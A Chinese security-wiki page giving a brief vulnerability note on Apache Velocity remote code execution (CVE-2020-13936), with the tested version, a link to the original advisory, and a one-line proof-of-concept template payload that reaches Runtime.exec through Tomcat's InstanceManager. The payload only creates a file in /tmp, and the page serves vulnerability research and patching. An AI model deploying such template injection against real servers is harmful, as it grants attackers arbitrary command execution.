menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right Apache Velocity 远程代码执行 (CVE-2020-13936).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Apache Velocity 远程代码执行 (CVE-2020-13936).md
    769 B / 2021-05-21 09:14:38
        # Apache Velocity 远程代码执行 (CVE-2020-13936)
    
    Velocity Uberspector无法阻止访问java.lang.ClassLoader类加载器方法。在VelocityView的上下文中使用Velocity模板时,能够修改模版的攻击者可以使用与运行Servlet容器的帐户相同的权限执行任意Java代码或运行任意系统命令。
    
    详细分析:https://securitylab.github.com/advisories/GHSL-2020-048-apache-velocity
    
    测试版本:
    
    Apache Velocity 2.2
    
    **PoC:**
    
    ```
    ${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')")}
    ```
    
    from:https://securitylab.github.com/advisories/GHSL-2020-048-apache-velocity
    
    links
    file_download